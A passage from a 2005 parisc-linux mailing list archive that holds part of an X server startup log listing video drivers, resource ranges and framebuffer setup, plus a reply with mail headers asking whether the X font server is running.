	[24] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[25] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[26] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[27] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[28] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) ATI: ATI driver (version 6.5.6) for chipset: ati
(II) R128: Driver for ATI Rage 128 chipsets:
	ATI Rage 128 Mobility M3 LE (PCI), ATI Rage 128 Mobility M3 LF (AGP),
	ATI Rage 128 Mobility M4 MF (AGP), ATI Rage 128 Mobility M4 ML (AGP),
	ATI Rage 128 Pro GL PA (AGP?), ATI Rage 128 Pro GL PB (AGP?),
	ATI Rage 128 Pro GL PC (AGP?), ATI Rage 128 Pro GL PD (PCI),
	ATI Rage 128 Pro GL PE (AGP?), ATI Rage 128 Pro GL PF (AGP),
	ATI Rage 128 Pro VR PG (AGP?), ATI Rage 128 Pro VR PH (AGP?),
	ATI Rage 128 Pro VR PI (AGP?), ATI Rage 128 Pro VR PJ (AGP?),
	ATI Rage 128 Pro VR PK (AGP?), ATI Rage 128 Pro VR PL (AGP?),
	ATI Rage 128 Pro VR PM (AGP?), ATI Rage 128 Pro VR PN (AGP?),
	ATI Rage 128 Pro VR PO (AGP?), ATI Rage 128 Pro VR PP (PCI),
	ATI Rage 128 Pro VR PQ (AGP?), ATI Rage 128 Pro VR PR (PCI),
	ATI Rage 128 Pro VR PS (AGP?), ATI Rage 128 Pro VR PT (AGP?),
	ATI Rage 128 Pro VR PU (AGP?), ATI Rage 128 Pro VR PV (AGP?),
	ATI Rage 128 Pro VR PW (AGP?), ATI Rage 128 Pro VR PX (AGP?),
	ATI Rage 128 GL RE (PCI), ATI Rage 128 GL RF (AGP),
	ATI Rage 128 RG (AGP), ATI Rage 128 VR RK (PCI),
	ATI Rage 128 VR RL (AGP), ATI Rage 128 4X SE (AGP?),
	ATI Rage 128 4X SF (AGP?), ATI Rage 128 4X SG (AGP?),
	ATI Rage 128 4X SH (AGP?), ATI Rage 128 4X SK (AGP?),
	ATI Rage 128 4X SL (AGP?), ATI Rage 128 4X SM (AGP),
	ATI Rage 128 4X SN (AGP?), ATI Rage 128 Pro ULTRA TF (AGP),
	ATI Rage 128 Pro ULTRA TL (AGP), ATI Rage 128 Pro ULTRA TR (AGP),
	ATI Rage 128 Pro ULTRA TS (AGP?), ATI Rage 128 Pro ULTRA TT (AGP?),
	ATI Rage 128 Pro ULTRA TU (AGP?)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE/7000 QY (AGP/PCI), ATI Radeon VE/7000 QZ (AGP/PCI),
	ATI Radeon Mobility M7 LW (AGP),
	ATI Mobility FireGL 7800 M7 LX (AGP),
	ATI Radeon Mobility M6 LY (AGP), ATI Radeon Mobility M6 LZ (AGP),
	ATI Radeon IGP320 (A3) 4136, ATI Radeon IGP320M (U1) 4336,
	ATI Radeon IGP330/340/350 (A4) 4137,
	ATI Radeon IGP330M/340M/350M (U2) 4337,
	ATI Radeon 7000 IGP (A4+) 4237, ATI Radeon Mobility 7000 IGP 4437,
	ATI FireGL 8700/8800 QH (AGP), ATI Radeon 8500 QL (AGP),
	ATI Radeon 9100 QM (AGP), ATI Radeon 8500 AIW BB (AGP),
	ATI Radeon 8500 AIW BC (AGP), ATI Radeon 7500 QW (AGP/PCI),
	ATI Radeon 7500 QX (AGP/PCI), ATI Radeon 9000/PRO If (AGP/PCI),
	ATI Radeon 9000 Ig (AGP/PCI), ATI FireGL Mobility 9000 (M9) Ld (AGP),
	ATI Radeon Mobility 9000 (M9) Lf (AGP),
	ATI Radeon Mobility 9000 (M9) Lg (AGP),
	ATI Radeon 9100 IGP (A5) 5834,
	ATI Radeon Mobility 9100 IGP (U3) 5835, ATI Radeon 9100 PRO IGP 7834,
	ATI Radeon Mobility 9200 IGP 7835, ATI Radeon 9200PRO 5960 (AGP),
	ATI Radeon 9200 5961 (AGP), ATI Radeon 9200 5962 (AGP),
	ATI Radeon 9200SE 5964 (AGP), ATI FireMV 2200 (PCI),
	ATI Radeon Mobility 9200 (M9+) 5C61 (AGP),
	ATI Radeon Mobility 9200 (M9+) 5C63 (AGP), ATI Radeon 9500 AD (AGP),
	ATI Radeon 9500 AE (AGP), ATI Radeon 9600TX AF (AGP),
	ATI FireGL Z1 AG (AGP), ATI Radeon 9700 Pro ND (AGP),
	ATI Radeon 9700/9500Pro NE (AGP), ATI Radeon 9700 NF (AGP),
	ATI FireGL X1 NG (AGP), ATI Radeon 9600 AP (AGP),
	ATI Radeon 9600SE AQ (AGP), ATI Radeon 9600XT AR (AGP),
	ATI Radeon 9600 AS (AGP), ATI FireGL T2 AT (AGP),
	ATI FireGL RV360 AV (AGP),
	ATI Radeon Mobility 9600/9700 (M10/M11) NP (AGP),
	ATI Radeon Mobility 9600 (M10) NQ (AGP),
	ATI Radeon Mobility 9600 (M11) NR (AGP),
	ATI Radeon Mobility 9600 (M10) NS (AGP),
	ATI FireGL Mobility T2 (M10) NT (AGP),
	ATI FireGL Mobility T2e (M11) NV (AGP), ATI Radeon 9650,
	ATI Radeon 9800SE AH (AGP), ATI Radeon 9800 AI (AGP),
	ATI Radeon 9800 AJ (AGP), ATI FireGL X2 AK (AGP),
	ATI Radeon 9800PRO NH (AGP), ATI Radeon 9800 NI (AGP),
	ATI FireGL X2 NK (AGP), ATI Radeon 9800XT NJ (AGP),
	ATI Radeon X600 (RV380) 3E50 (PCIE),
	ATI FireGL V3200 (RV380) 3E54 (PCIE),
	ATI Radeon Mobility X600 (M24) 3150 (PCIE),
	ATI FireGL M24 GL 3154 (PCIE), ATI Radeon X300 (RV370) 5B60 (PCIE),
	ATI Radeon X600 (RV370) 5B62 (PCIE),
	ATI FireGL V3100 (RV370) 5B64 (PCIE),
	ATI FireGL D1100 (RV370) 5B65 (PCIE),
	ATI Radeon Mobility M300 (M22) 5460 (PCIE),
	ATI FireGL M22 GL 5464 (PCIE), ATI Radeon XPRESS 200 5A41 (PCIE),
	ATI Radeon XPRESS 200M 5A42 (PCIE),
	ATI Radeon XPRESS 200 5A61 (PCIE),
	ATI Radeon XPRESS 200M 5A62 (PCIE),
	ATI Radeon XPRESS 200 5954 (PCIE),
	ATI Radeon XPRESS 200M 5955 (PCIE),
	ATI Radeon XPRESS 200 5974 (PCIE),
	ATI Radeon XPRESS 200M 5975 (PCIE), ATI FireGL V5000 (RV410) (PCIE),
	ATI Mobility FireGL V5000 (M26) (PCIE),
	ATI Mobility FireGL V5000 (M26) (PCIE),
	ATI Mobility Radeon X700 (M26) (PCIE),
	ATI Mobility Radeon X700 (M26) (PCIE),
	ATI Radeon X700 PRO (RV410) (PCIE),
	ATI Radeon X700 XT (RV410) (PCIE), ATI Radeon X700 (RV410) (PCIE),
	ATI Radeon X700 SE (RV410) (PCIE), ATI Radeon X700 SE (RV410) (PCIE),
	ATI Radeon X800 (R420) JH (AGP), ATI Radeon X800PRO (R420) JI (AGP),
	ATI Radeon X800SE (R420) JJ (AGP), ATI Radeon X800 (R420) JK (AGP),
	ATI Radeon X800 (R420) JL (AGP), ATI FireGL X3 (R420) JM (AGP),
	ATI Radeon Mobility 9800 (M18) JN (AGP),
	ATI Radeon X800XT (R420) JP (AGP), ATI Radeon X800 SE (R420) (AGP),
	ATI Radeon X800 (R423) UH (PCIE),
	ATI Radeon X800PRO (R423) UI (PCIE),
	ATI Radeon X800LE (R423) UJ (PCIE),
	ATI Radeon X800SE (R423) UK (PCIE),
	ATI FireGL V7200 (R423) UQ (PCIE), ATI FireGL V5100 (R423) UR (PCIE),
	ATI FireGL V7100 (R423) UT (PCIE),
	ATI Radeon X800XT (R423) 5D57 (PCIE), ATI FireGL V7100 (R423) (PCIE),
	ATI Mobility FireGL V5100 (M28) (PCIE),
	ATI Mobility Radeon X800 (M28) (PCIE),
	ATI Mobility Radeon X800 XT (M28) (PCIE),
	ATI Radeon X800 (R430) (PCIE), ATI Radeon X800 XL (R430) (PCIE),
	ATI Radeon X800 SE (R430) (PCIE), ATI Radeon X800 XTP (R430) (PCIE),
	ATI Radeon X850 5D4C (PCIE), ATI Radeon FireGL (R480) GL 5D50 (PCIE),
	ATI Radeon X850 SE (R480) (PCIE), ATI Radeon X850 PRO (R480) (PCIE),
	ATI Radeon X850 XT (R480) (PCIE),
	ATI Radeon X850 XT PE (R480) (PCIE),
	ATI Radeon X850 PRO (R480) (AGP), ATI Radeon X850 SE (R480) (AGP),
	ATI Radeon X850 XT (R480) (AGP), ATI Radeon X850 XT PE (R480) (AGP)
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400,
	mgag550
(II) GLINT: driver for 3Dlabs chipsets: gamma, gamma2, ti_pm2, ti_pm, r4,
	pm4, pm3, pm2v, pm2, pm, 300sx, 500tx, mx, delta
(II) NV: driver for NVIDIA chipsets: RIVA 128, RIVA TNT, RIVA TNT2,
	Unknown TNT2, Vanta, RIVA TNT2 Ultra, RIVA TNT2 Model 64,
	Aladdin TNT2, GeForce 256, GeForce DDR, Quadro, GeForce2 MX/MX 400,
	GeForce2 MX 100/200, GeForce2 Go, Quadro2 MXR/EX/Go,
	GeForce2 Integrated GPU, GeForce2 GTS, GeForce2 Ti, GeForce2 Ultra,
	Quadro2 Pro, GeForce4 MX 460, GeForce4 MX 440, GeForce4 MX 420,
	GeForce4 MX 440-SE, GeForce4 440 Go, GeForce4 420 Go,
	GeForce4 420 Go 32M, GeForce4 460 Go, Quadro4 550 XGL,
	GeForce4 440 Go 64M, Quadro4 NVS, Quadro4 500 GoGL,
	GeForce4 410 Go 16M, GeForce4 MX 440 with AGP8X,
	GeForce4 MX 440SE with AGP8X, GeForce4 MX 420 with AGP8X,
	GeForce4 MX 4000, GeForce4 448 Go, GeForce4 488 Go, Quadro4 580 XGL,
	Quadro4 280 NVS, Quadro4 380 XGL, Quadro NVS 50 PCI, GeForce4 448 Go,
	GeForce4 MX Integrated GPU, GeForce3, GeForce3 Ti 200,
	GeForce3 Ti 500, Quadro DCC, GeForce4 Ti 4600, GeForce4 Ti 4400,
	0x0252, GeForce4 Ti 4200, Quadro4 900 XGL, Quadro4 750 XGL,
	Quadro4 700 XGL, GeForce4 Ti 4800, GeForce4 Ti 4200 with AGP8X,
	GeForce4 Ti 4800 SE, GeForce4 4200 Go, Quadro4 700 GoGL,
	Quadro4 980 XGL, Quadro4 780 XGL, GeForce FX 5800 Ultra,
	GeForce FX 5800, Quadro FX 2000, Quadro FX 1000,
	GeForce FX 5600 Ultra, GeForce FX 5600, 0x0313, GeForce FX 5600SE,
	0x0316, 0x0317, GeForce FX Go5600, GeForce FX Go5650,
	Quadro FX Go700, 0x031D, 0x031E, 0x031F, GeForce FX 5200,
	GeForce FX 5200 Ultra, GeForce FX 5200, GeForce FX 5200SE,
	GeForce FX Go5200, GeForce FX Go5250, GeForce FX 5500,
	GeForce FX 5100, GeForce FX Go5200 32M/64M, 0x0329,
	Quadro NVS 280 PCI, Quadro FX 500/600 PCI, GeForce FX Go53xx Series,
	GeForce FX Go5100, 0x032F, GeForce FX 5900 Ultra, GeForce FX 5900,
	GeForce FX 5900XT, GeForce FX 5950 Ultra, Quadro FX 700,
	GeForce FX 5900ZT, Quadro FX 3000, GeForce FX 5700 Ultra,
	GeForce FX 5700, GeForce FX 5700LE, GeForce FX 5700VE, 0x0345,
	GeForce FX Go5700, GeForce FX Go5700, 0x0349, 0x034B,
	Quadro FX Go1000, Quadro FX 1100, 0x034F, GeForce 6800 Ultra,
	GeForce 6800, GeForce 6800 LE, 0x0043, GeForce 6800 GT, 0x0049,
	Quadro FX 4000, Quadro FX 4400, 0x00C0, 0x00C1, GeForce 6800 LE,
	0x00C8, 0x00C9, 0x00CC, 0x00CE, GeForce 6600 GT, GeForce 6600,
	0x0142, 0x0143, GeForce Go 6600, GeForce 6610 XL,
	GeForce Go 6600 TE/6200 TE, 0x0147, GeForce Go 6600, 0x0149, 0x014B,
	0x014C, 0x014D, Quadro FX 540, GeForce 6200, 0x0160, 0x0166, 0x0210,
	0x0211, 0x021D, 0x021E
(II) S3: driver (version 0.3.5 for S3 chipset: 964-0, 964-1, 968,
	Trio32/64, Aurora64V+, Trio64UV+, Trio64V2/DX/GX
(II) S3VIRGE: driver (version 1.8.6) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597/5598, SIS530/620,
	SIS6326/AGP/DVD, SIS300/305, SIS630/730, SIS540, SIS315, SIS315H,
	SIS315PRO, SIS550, SIS650/M650/651/740, SIS330(Xabre),
	SIS660/661FX/M661FX/M661MX/741/741GX/M741/760/M760, SIS340
(II) SAVAGE: driver (version 2.0.0) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133,
	Twister PN133, Twister KN133, SuperSavage/MX 128, SuperSavage/MX 64,
	SuperSavage/MX 64C, SuperSavage/IX 128, SuperSavage/IX 128,
	SuperSavage/IX 64, SuperSavage/IX 64, SuperSavage/IXC 64,
	SuperSavage/IXC 64, ProSavage DDR, ProSavage DDR-K
(II) TRIDENT: driver for Trident chipsets: tvga9000, tvga9000i, tvga8900c,
	tvga8900d, tvga9200cxr, tgui9400cxi, cyber9320, cyber9388, cyber9397,
	cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4, tgui9420dgi,
	tgui9440agi, tgui9660, tgui9680, providia9682, providia9685,
	cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d, cyberbladei7,
	cyberbladei7d, cyberbladei1, cyberbladei1d, cyberbladeAi1,
	cyberbladeAi1d, bladeXP, cyberbladeXPAi1, cyberbladeXP4
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) FBDEV: driver for framebuffer: fbdev
(II) v4l driver for Video4Linux
(II) resource ranges after xf86ClaimFixedResources() call:
	[0] -1	0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1	0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1	0	0xf4800000 - 0xf480007f (0x80) MX[B]
	[3] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[4] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[5] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[6] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[7] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[8] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[9] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[10] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[11] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[12] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[13] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[14] -1	0	0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[15] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[16] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[17] -1	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[18] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[19] -1	0	0x00000000 - 0x00000000 (0x1) IX[B]
	[20] -1	0	0x00002000 - 0x0000207f (0x80) IX[B]
	[21] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[22] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[23] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[24] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[25] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[26] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[27] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[28] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(**) FBDEV(0): claimed PCI slot 2:3:0
(II) FBDEV(0): using default device
(II) resource ranges after probing:
	[0] -1	0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1	0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1	0	0xf4800000 - 0xf480007f (0x80) MX[B]
	[3] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[4] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[5] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[6] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[7] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[8] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[9] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[10] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[11] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[12] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[13] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[14] -1	0	0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[15] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[16] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[17] -1	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[18] 0	0	0x000a0000 - 0x000affff (0x10000) MS[B]
	[19] 0	0	0x000b0000 - 0x000b7fff (0x8000) MS[B]
	[20] 0	0	0x000b8000 - 0x000bffff (0x8000) MS[B]
	[21] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[22] -1	0	0x00000000 - 0x00000000 (0x1) IX[B]
	[23] -1	0	0x00002000 - 0x0000207f (0x80) IX[B]
	[24] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[25] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[26] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[27] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[28] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[29] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[30] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[31] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
	[32] 0	0	0x000003b0 - 0x000003bb (0xc) IS[B]
	[33] 0	0	0x000003c0 - 0x000003df (0x20) IS[B]
(II) Setting vga for screen 0.
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0): 	mode "1280x1024" ok
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDEV(0):  Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz), 64.0 kHz, 60.0 Hz
(II) FBDEV(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025 1028 1066 +hsync +vsync
(++) FBDEV(0): DPI set to (100, 100)
(**) FBDEV(0): using shadow framebuffer
(II) resource ranges after preInit:
	[0] 0	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B]
	[1] -1	0	0xffffffff - 0xffffffff (0x1) MX[B]
	[2] -1	0	0x00000000 - 0x00000000 (0x1) MX[B]
	[3] -1	0	0xf4800000 - 0xf480007f (0x80) MX[B]
	[4] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[5] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[6] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[7] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[8] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[9] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[10] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[11] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[12] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[13] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[14] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[15] -1	0	0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[16] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[17] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[18] -1	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[19] 0	0	0x000a0000 - 0x000affff (0x10000) MS[B]
	[20] 0	0	0x000b0000 - 0x000b7fff (0x8000) MS[B]
	[21] 0	0	0x000b8000 - 0x000bffff (0x8000) MS[B]
	[22] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[23] -1	0	0x00000000 - 0x00000000 (0x1) IX[B]
	[24] -1	0	0x00002000 - 0x0000207f (0x80) IX[B]
	[25] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[26] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[27] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[28] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[29] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[30] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[31] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[32] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
	[33] 0	0	0x000003b0 - 0x000003bb (0xc) IS[B]
	[34] 0	0	0x000003c0 - 0x000003df (0x20) IS[B]
(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
(==) FBDEV(0): Backing store disabled
(**) Option "dpms"
(**) FBDEV(0): DPMS enabled
(==) RandR enabled
(II) Setting vga for screen 0.
(**) Generic Keyboard: Core Keyboard
(**) Option "Protocol" "standard"
(**) Generic Keyboard: Protocol: standard
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xfree86"
(**) Generic Keyboard: XkbRules: "xfree86"
(**) Option "XkbModel" "pc104"
(**) Generic Keyboard: XkbModel: "pc104"
(**) Option "XkbLayout" "us"
(**) Generic Keyboard: XkbLayout: "us"
(**) Option "CustomKeycodes" "off"
(**) Generic Keyboard: CustomKeycodes disabled
(**) Option "Protocol" "ImPS/2"
(**) USB Mouse: Device: "/dev/input/mice"
(**) USB Mouse: Protocol: "ImPS/2"
(**) Option "SendCoreEvents" "true"
(**) USB Mouse: always reports core events
(**) Option "CorePointer"
(**) USB Mouse: Core Pointer
(**) Option "Device" "/dev/input/mice"
(**) Option "Emulate3Buttons" "true"
(**) USB Mouse: Emulate3Buttons, Emulate3Timeout: 50
(**) Option "ZAxisMapping" "4 5"
(**) USB Mouse: ZAxisMapping: buttons 4 and 5
(**) USB Mouse: Buttons: 5
(II) XINPUT: Adding extended input device "USB Mouse" (type: MOUSE)
(II) XINPUT: Adding extended input device "Generic Keyboard" (type: KEYBOARD)
(II) USB Mouse: ps2EnableDataReporting: succeeded
Could not init font path element unix/:7100, removing from list!
Could not init font path element /usr/lib/X11/fonts/Speedo, removing from list!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Wed, 28 Dec 2005 17:19:26 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200512281719.26852.mszick@morethan.org>
References: <200512282301.jBSN1SX1028943@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623966 17526 80.91.229.3 (22 Nov 2014 02:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 23:19:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 29 Dec 2005 00:19:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66F2C7D6F2;
	Wed, 28 Dec 2005 16:19:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19654-08; Wed, 28 Dec 2005 16:19:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEE1C7D6F3;
	Wed, 28 Dec 2005 16:19:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 172B97D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:19:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19654-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:19:29 -0700 (MST)
Original-Received: from mail1.sea5.speakeasy.net (mail1.sea5.speakeasy.net
	[69.17.117.3])
	by free.linux.hp.com (Postfix) with ESMTP id 7564F7D6EC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:19:29 -0700 (MST)
Original-Received: (qmail 18429 invoked from network); 28 Dec 2005 23:19:28 -0000
Original-Received: from tx-65-40-204-122.dyn.sprint-hsd.net
	(mszick@morethan.org@[65.40.204.122])
	(envelope-sender <mszick@morethan.org>)
	by mail1.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 28 Dec 2005 23:19:28 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <200512282301.jBSN1SX1028943@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 33jBYxREeSEkKr6WZHQhaXN1IGRvb8AI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23295

On Wed December 28 2005 17:01, John David Anglin wrote:
> > Try installing xserver-xorg. That should help.
> 
> Still no joy.
> 
> Dave
Pardon the dumb question----

> Could not init font path element unix/:7100, removing from list!
> Could not init font path element /usr/lib/X11/fonts/Speedo, removing from list!
>
Is xfs (X font server) still running?

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
